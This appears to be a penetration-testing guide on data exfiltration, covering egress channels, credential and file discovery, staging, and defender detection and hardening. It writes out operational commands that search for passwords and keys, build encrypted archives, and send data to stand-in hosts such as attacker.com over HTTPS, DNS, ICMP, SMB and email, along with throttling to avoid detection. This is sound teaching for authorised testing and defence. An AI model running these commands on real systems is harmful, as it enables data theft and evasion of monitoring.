Data Exfiltration
Exfiltration proves the impact of everything before it. The technique matters less than the two questions the objective really asks: which channel leaves this estate at all, and how little data proves the point.
Warning
Data exfiltration pipeline: discovery, collection, staging, transfer, evidence
Which Channel Survives What
There are two independent controls in front of you and they fail differently. Egress filtering decides by destination: if only an allow-list of hosts is reachable, the technique is irrelevant and the channel has to be one of them. DLP decides by content: it reads what is being sent, so it can block a file it recognises and cannot read a file it does not. Defeating one does nothing about the other, which is why "we have DLP" and "we block egress" are different findings.
| Channel | Beats | Stopped by | Practical rate |
|---|---|---|---|
| HTTPS POST to an allow-listed host | Content DLP (if encrypted), destination filtering | TLS inspection with a proxy CA, or a CASB seeing an unmanaged device | Fast — MB/s |
| DNS queries | Almost every egress rule, because resolution must work | Entropy and label-length analytics, or a resolver that only forwards to a known set | KB/s |
| Cloud storage / SaaS upload | Allow-lists, because the service is already approved | CASB policy on volume and device, or tenant-side audit | Fast |
| ICMP tunnel | Destination filtering, sometimes | ICMP blocked at the perimeter, or payload-size baselines | KB/s |
| SMTP through the corporate relay | Egress rules, because the relay is permitted | Attachment DLP at the relay, and mailbox audit | Slow, size-capped |
| Encrypted archive, any channel | Content inspection — the archive is unreadable | A DLP rule that blocks unreadable archives, plus the archive creation itself | Channel-dependent |
Encrypting before sending is the standard move, and it should be read as a trade rather than a
bypass. Archive creation is a visible process (7z, rar, Compress-Archive)
over a directory that should not be compressed, and many DLP products are configured to quarantine
or alert on archives they cannot inspect precisely because that is what an exfiltration looks like.
The channel that actually survives most estates is the one already carrying the business's data —
an approved SaaS destination over HTTPS — because blocking it costs the client more than the
exfiltration does.
Data Discovery
Discovery is how the objective gets translated into a file list: find what the engagement said
matters — the finance share, the HR drive, the customer database — rather than whatever is easiest to
read. A broad content search across C:\Users produces thousands of hits and no finding,
so scope the search to the shares and databases the client named and then prove access to a handful
of files.
Windows File Search
# Search for sensitive files
dir /s /b C:\*password*.txt C:\*password*.xlsx C:\*credential* 2>nul
dir /s /b C:\*.kdbx C:\*.key C:\*.pem C:\*.pfx 2>nul
# PowerShell search
Get-ChildItem -Path C:\ -Recurse -Include *password*,*credential*,*secret* -ErrorAction SilentlyContinue
# Search file contents
findstr /s /i /m "password" C:\Users\*.txt
findstr /s /i /m "api_key\|secret\|token" C:\Users\*.config
# PowerShell content search
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config | Select-String -Pattern "password","secret","key" | Select-Object Path,LineNumber,LineLinux File Search
# Find sensitive files
find / -name "*.conf" -o -name "*.config" -o -name "*password*" 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
find /home -name ".bash_history" -o -name ".mysql_history" 2>/dev/null
# Search file contents
grep -r "password" /etc/ 2>/dev/null
grep -r "password\|secret\|api_key" /var/www/ 2>/dev/null
# Find recent files
find / -type f -mtime -7 -name "*.xlsx" -o -name "*.docx" 2>/dev/nullNetwork Share Discovery
Shares are where the data usually is, and the finding is usually the share permission rather than the
file: a finance share readable by Domain Users is the defect, and one readable file from
it is the proof.
# Enumerate shares
net view \\server
net share
# PowerView
Find-DomainShare -CheckShareAccess
Find-InterestingDomainShareFile
# nxc
nxc smb 10.10.10.0/24 -u user -p pass --shares
nxc smb 10.10.10.0/24 -u user -p pass -M spider_plus
# Search for interesting files on shares
smbclient //server/share -U user%pass -c 'recurse;ls'Database Discovery
# MySQL
mysql -u root -p -e "SHOW DATABASES;"
mysqldump -u root -p database_name > dump.sql
# MSSQL
sqlcmd -S localhost -U sa -P password -Q "SELECT name FROM sys.databases"
sqlcmd -S localhost -U sa -P password -Q "SELECT * FROM sensitive_table" -o output.csv
# PowerUpSQL
Get-SQLInstanceDomain | Get-SQLServerInfo
Get-SQLInstanceDomain | Get-SQLDatabase
# Extract from web configs
findstr /s /i "connectionstring" C:\inetpub\*.configData Collection & Staging
Staging is the step that gets operators caught: it is a large archive appearing on disk, usually in a
temporary directory, often at an hour when nobody is working. Stage on the host that already holds the
data, keep the staged set to what the report will actually cite, and prefer a database export
(SELECT … INTO OUTFILE, mysqldump) over copying an entire data directory.
Archiving Data
# Windows - Compress for exfil
Compress-Archive -Path C:\Loot\* -DestinationPath C:\Temp\data.zip
# With password (7-Zip)
7z a -p"password" -mhe=on data.7z C:\Loot\*
# Linux
tar -czvf data.tar.gz /path/to/files
zip -r -e data.zip /path/to/files
# Split large files
split -b 50M data.tar.gz data_part_Encoding/Encryption
Base64 is encoding, not evasion — it makes the payload larger by a third and defeats no content inspection worth the name. Encryption is what defeats inspection; the hash you take before encrypting is what lets the report prove the file that left was the file the client agreed to.
# Base64 encode
# Windows
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\data.zip")) > encoded.txt
certutil -encode data.zip encoded.txt
# Linux
base64 data.tar.gz > encoded.txt
cat data.tar.gz | gzip | base64
# Encrypt with OpenSSL
openssl enc -aes-256-cbc -salt -in data.tar.gz -out data.enc -k password
# GPG encryption
gpg -c --cipher-algo AES256 data.tar.gzExfiltration Methods
Warning
HTTP/HTTPS
The default because it is the traffic the estate already makes. To an allow-listed or categorised destination it needs no trick at all; to a host the client has never heard of it survives only if there is no TLS inspection, and the destination's reputation is what the proxy is judging.
# Simple HTTP POST
curl -X POST -F "file=@data.zip" https://attacker.com/upload
# PowerShell
$bytes = [IO.File]::ReadAllBytes("C:\data.zip")
Invoke-WebRequest -Uri "https://attacker.com/upload" -Method POST -Body $bytes
# Python HTTP server (receiver)
python3 -m http.server 8080 # For downloads
# For uploads use custom script or tools like updog
# wget POST
wget --post-file=data.zip https://attacker.com/uploadDNS Exfiltration
Information
Data goes in the subdomain: one label is up to 63 characters and a name is up to 253, so each query carries a few dozen bytes of payload once encoding is accounted for. What a resolver-based detection looks for is not the destination but the shape — long, high-entropy labels under one parent domain, at a steady rate, from a host that otherwise resolves nothing unusual.
# DNScat2 Server
dnscat2-server attacker.com
# DNScat2 Client (on target)
./dnscat attacker.com
# Manual DNS exfil (encode data in subdomains)
# Max ~63 chars per label, ~253 total
# Base64 encode and chunk
for chunk in $(cat data.b64 | fold -w50); do
nslookup $chunk.exfil.attacker.com
done
# Iodine (DNS tunnel)
# Server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client
iodine -f -P password tunnel.attacker.comICMP Exfiltration
# ptunnel (ICMP tunnel)
# Server
ptunnel-ng -s
# Client
ptunnel-ng -p proxy_ip -l 8000 -r attacker.com -R 22
# Manual ICMP exfil (PowerShell)
$ping = New-Object System.Net.NetworkInformation.Ping
$data = [System.Text.Encoding]::ASCII.GetBytes("secretdata")
$ping.Send("attacker_ip", 1000, $data)Cloud Storage
Uploading to object storage or a SaaS drive is the quietest option in a cloud-connected estate, because the destination is legitimate and the traffic is indistinguishable from normal use until somebody looks at the volume. It is also the option most likely to be blocked by a CASB rather than by a firewall, and tenant-side audit logs will show the upload regardless of what the network saw.
# AWS S3
aws s3 cp data.zip s3://exfil-bucket/
# Azure Blob
az storage blob upload --container-name exfil --file data.zip --name data.zip
# Rclone (supports many providers)
rclone copy data.zip remote:exfil/
# Google Drive (using gdrive)
gdrive upload data.zipSMB/WebDAV
# Copy to SMB share
copy data.zip \\attacker\share\
xcopy /s C:\Loot \\attacker\share\Loot
# Mount WebDAV and copy
net use Z: https://attacker.com/webdav /user:user pass
copy data.zip Z:\
# Linux SMB
smbclient //attacker/share -U user -c 'put data.zip'Email survives more egress rules than anything else because the relay is always permitted, and it fails on the one control that matters: attachment inspection at the relay. It is also the most attributable channel — the message sits in a mailbox with a timestamp and a recipient.
# PowerShell SMTP
$smtp = New-Object Net.Mail.SmtpClient("smtp.company.com")
$msg = New-Object Net.Mail.MailMessage
$msg.From = "user@company.com"
$msg.To.Add("attacker@external.com")
$msg.Subject = "Report"
$attachment = New-Object Net.Mail.Attachment("C:\data.zip")
$msg.Attachments.Add($attachment)
$smtp.Send($msg)
# swaks (command line)
swaks --to attacker@external.com --from user@company.com --server smtp.company.com --attach data.zipCovert Channels
Covert channels hide the fact that a transfer is happening rather than the content of it, and they are worth using when the network controls are strong and the data is small. Steganography moves bytes inside an image that will be uploaded and viewed normally; alternate data streams hide a file inside another file on NTFS without changing what the outer file appears to be.
Steganography
# Hide data in images
steghide embed -cf image.jpg -ef secret.txt
# Extract
steghide extract -sf image.jpg
# OpenStego
openstego embed -mf secret.txt -cf cover.png -sf output.pngAlternate Data Streams (Windows)
# Hide file in ADS
type secret.txt > innocent.txt:hidden
# Read from ADS
more < innocent.txt:hidden
# List ADS
dir /r
Get-Item -Path innocent.txt -Stream *Exfiltration Tools
PacketWhisper
# DNS-based exfiltration using random DNS queries
# Evades signature detection by using real DNS lookups
# Transmit
python3 packetWhisper.py
# Select cipher, payload, and DNS server optionsDET (Data Exfiltration Toolkit)
# Supports multiple protocols: HTTP, DNS, ICMP, SMTP, Slack, etc.
# Server
python det.py -c config.json -L
# Client (send file)
python det.py -c config.json -f secret.zipCloakify
# Transform data to look like lists (IPs, words, etc.)
python cloakify.py secret.zip ciphers/pokemonNames > pokemon.txt
# Decloakify
python decloakify.py pokemon.txt ciphers/pokemonNamesWhat the Volume Implies
Volume is where an exfiltration stops being a demonstration and becomes a network event. Do the arithmetic before you start: at 100 KB/s a gigabyte takes about three hours and ten gigabytes about 29 hours, while a DNS channel at a realistic 2 KB/s needs roughly six days for that same gigabyte. The channel and the data size have to be chosen together, and if they do not fit, the data is wrong — not the channel.
| At this rate | 100 MB | 1 GB | 10 GB |
|---|---|---|---|
| 1 MB/s (HTTPS, cloud) | ~2 min | ~17 min | ~2.9 h |
| 100 KB/s (throttled, shared link) | ~17 min | ~2.9 h | ~29 h |
| 2 KB/s (DNS tunnel) | ~14 h | ~6 days | — |
| Attachment over SMTP | Often already blocked | Usually rejected | Not viable |
In practice "proof of access" is a handful of files the client can name — a spreadsheet, a database export, a screenshot of the directory listing — and the volume is what makes the transfer visible to a volume-anomaly rule. Throttling below the baseline is the point of the commands below, not a courtesy: a 40 GB pull at line rate is a guaranteed detection and adds nothing to the finding.
Bandwidth Considerations
# Throttle exfiltration to avoid detection
# Split and delay transfers
# Linux - rate limit
rsync --bwlimit=100 data.tar.gz attacker:/exfil/
# Windows PowerShell - chunked transfer
$chunkSize = 1MB
$file = [IO.File]::OpenRead("C:\data.zip")
$buffer = New-Object byte[] $chunkSize
while (($read = $file.Read($buffer, 0, $chunkSize)) -gt 0) {
# Send chunk
Start-Sleep -Seconds 30 # Delay between chunks
}
# curl rate limit
curl --limit-rate 100K -F "file=@data.zip" https://attacker.com/uploadDocumentation Template
The log is the evidence: timestamp, source host, data type, size, channel and destination, with the hash of what was staged. It is also the record a regulator will ask for, which is why the last two lines — do not keep the data, screenshot the proof — belong in it.
# Data Exfiltration Log
| Timestamp | Source System | Data Type | Size | Method | Destination |
|-----------|---------------|-----------|------|--------|-------------|
| 2024-01-15 10:30 | DC01 | NTDS.dit | 500MB | HTTPS | C2 Server |
| 2024-01-15 11:45 | FILESERV | Financials | 2GB | SMB | Attack Box |
| 2024-01-15 14:00 | SQLSRV | DB Dump | 100MB | DNS | Exfil Server |
# Important: Document but DO NOT keep actual sensitive data
# Screenshots and logs as proof, delete actual dataDanger
What the Defender Sees
Detection of exfiltration is a volume-and-shape problem, not a signature problem, and the controls that catch it sit at three different layers. Network: a host uploading to a destination no other host in the estate talks to, or an unusual volume to a destination many hosts use. Namespace: DNS query length, label entropy, and the count of NXDOMAIN responses as a client probes for a tunnel endpoint. Endpoint: the archive landing on disk, and the process that created it.
| Signal | Where it comes from | What it catches |
|---|---|---|
| Volume anomaly per host | Proxy / firewall flow logs | Any slow-and-steady transfer once it exceeds the host's baseline — the reason to throttle is to stay under it. |
| Novel destination | Proxy logs, DNS | A server talking to object storage or a VPS it has never used. Cheaper to detect than volume. |
| Long, high-entropy labels | DNS resolver logs | DNS tunnelling, because normal names are short and repeat. |
| Archive created over a share | Sysmon 11 / 4688 / 5145 | 7z, rar or Compress-Archive writing a large file next to data that should not be compressed. |
| Uninspectable archive at egress | DLP / CASB | Encrypted archives, if the rule exists — which is the control to test and report on. |
| Cloud upload from an unmanaged device | CASB, tenant audit logs | The channel that beats egress filtering, caught on the identity and device rather than the network. |
Tip
Evidence Collection
Control tested: Name the control and the result: "DLP did not block an encrypted archive to an allow-listed SaaS destination" — not the volume moved.
Log entry: One row per transfer from the template below: timestamp, source, data type, size, channel, destination.
Data provenance: Where the file came from and what the client said it was — a synthetic sample plus the file listing is enough for most findings.
Hash and disposition: SHA-256 of what was staged, and confirmation that the client’s copy was deleted after the report was written.
CVSS range: Confirmed egress of client data: 7.5–8.6, adjusted by data classification and whether the channel was an approved service.
False Positive Identification
- Business SaaS traffic: A finance team uploading to an approved tenant looks like exfiltration at the network layer. Destination reputation and tenant ownership decide, not volume.
- A backup or sync agent: Endpoint agents push data out continuously and by design. Check the process, its signing certificate and whether the destination is the vendor’s.
- DNS query volume: A resolver cache miss storm or a misconfigured client produces high NXDOMAIN counts. Entropy per label and label length separate a tunnel from noise.
- An archive created by an administrator: Admins compress shares for legitimate reasons. The finding is an uninspectable archive leaving the estate, not an archive existing.
- A blocked transfer: A DLP block is the control working. Report it as a control that held, and look for the channel that was not blocked.
- TLS-inspected traffic that looks unreadable: If the proxy terminates TLS, the payload is inspectable and the finding may be about the DLP rule rather than the channel.
Testing Checklist
Before the first byte
- ☐ Confirm in writing what may leave, where it is stored, who can read it and when it is destroyed
- ☐ Agree the smallest proof: a file listing or synthetic sample beats real PII every time
- ☐ Map the egress allow-list first — it decides the channel more than the technique does
Proving the channel
- ☐ Send one small file through the candidate channel and capture the packet or proxy log
- ☐ Measure the rate and note whether throttling was needed to stay under a baseline
- ☐ Record the DLP/CASB verdict for that exact file
- ☐ Delete the data after hashing and logging it, and note the deletion in the report
Remediation & Hardening
Control the destination
- • Default-deny egress and allow-list by service, not by port — the channel that survives most estates is an approved SaaS destination
- • Log proxy flow volume per host so a baseline exists to deviate from
- • Block direct-to-IP and unresolved-hostname traffic from servers
Control the content
- • Treat uninspectable archives as a block condition, not a warning — that is the control an exfiltration test exercises
- • Extend DLP to the browser and the SaaS tenant, where network inspection cannot see the upload
- • DNS analytics on label length and entropy, with a resolver that only forwards to known domains
Make the response possible
- • Alert on archive creation over a share where archiving is not a business function
- • Join CASB and tenant audit logs to the same identity timeline as the proxy
- • Decide in advance who may authorise a data-handling exception, so the test does not stall mid-engagement